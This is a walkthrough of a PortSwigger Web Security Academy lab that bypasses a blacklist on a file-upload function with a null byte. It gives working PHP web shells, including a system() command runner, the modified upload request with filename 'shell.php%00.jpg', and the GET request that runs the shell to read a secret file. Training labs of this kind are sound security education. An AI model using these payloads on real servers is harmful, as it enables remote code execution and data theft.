PortSwigger

Lab Description
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.
Objective: Upload a basic PHP web shell, then use it to exfiltrate the contents of the file
/home/carlos/secret. Submit this secret using the button provided in the lab banner.
- Your credentials:
wiener:peter
Step 1: Understanding the Vulnerability
The obfuscation technique:
- The server blacklists
.phpextensions - However, it uses a flawed filename validation that stops at null bytes
- A null byte (
%00or0x00) tells the server to ignore everything after it
The attack:
- Name the file:
exploit.php%00.jpg - The server sees the
.jpgextension and accepts the file - When saving, the null byte causes
.jpgto be stripped - The file is saved as
exploit.php - PHP code executes when accessed
Why this works:
- In older PHP versions, null bytes terminate strings
exploit.php%00.jpg→ string ends at%00→ becomesexploit.php
Step 2: Reconnaissance
Step 2.1: Log In
- Log in with
wiener:peter - Go to My account page
Step 2.2: Test Normal Upload
Upload a legitimate image to understand the flow.
Step 2.3: Test PHP Upload (Blocked)
Attempt to upload shell.php:
Response: Error - only JPG and PNG files allowed.
Step 3: Creating the PHP Web Shell
Step 3.1: Create shell.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
Step 3.2: Alternative Web Shell
<?php system($_GET['command']); ?>

Step 4: Obfuscating the Filename
Step 4.1: The Null Byte Trick
Change the filename from shell.php to:
shell.php%00.jpg
URL encoded: %00 represents the null byte.
Step 4.2: Modify the Upload Request
Intercept the upload request in Burp:
Original:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
Modified:
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.jpg"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
Step 4.3: Send the Request
Forward the modified request.
Response:
The file avatars/shell.php has been uploaded.
Notice: The message refers to shell.php, not shell.php%00.jpg. The null byte and .jpg were stripped!
Upload successful.
Step 5: Executing the Web Shell
Step 5.1: Access the File
Send a GET request to:
GET /files/avatars/shell.php HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Step 5.2: Get the Secret
The response contains Carlos’s secret.

Step 6: Submitting the Secret
- Go back to the lab page
- Click Submit solution
- Enter the secret
- Click OK

Step 7: Lab Solved
Success message displayed:
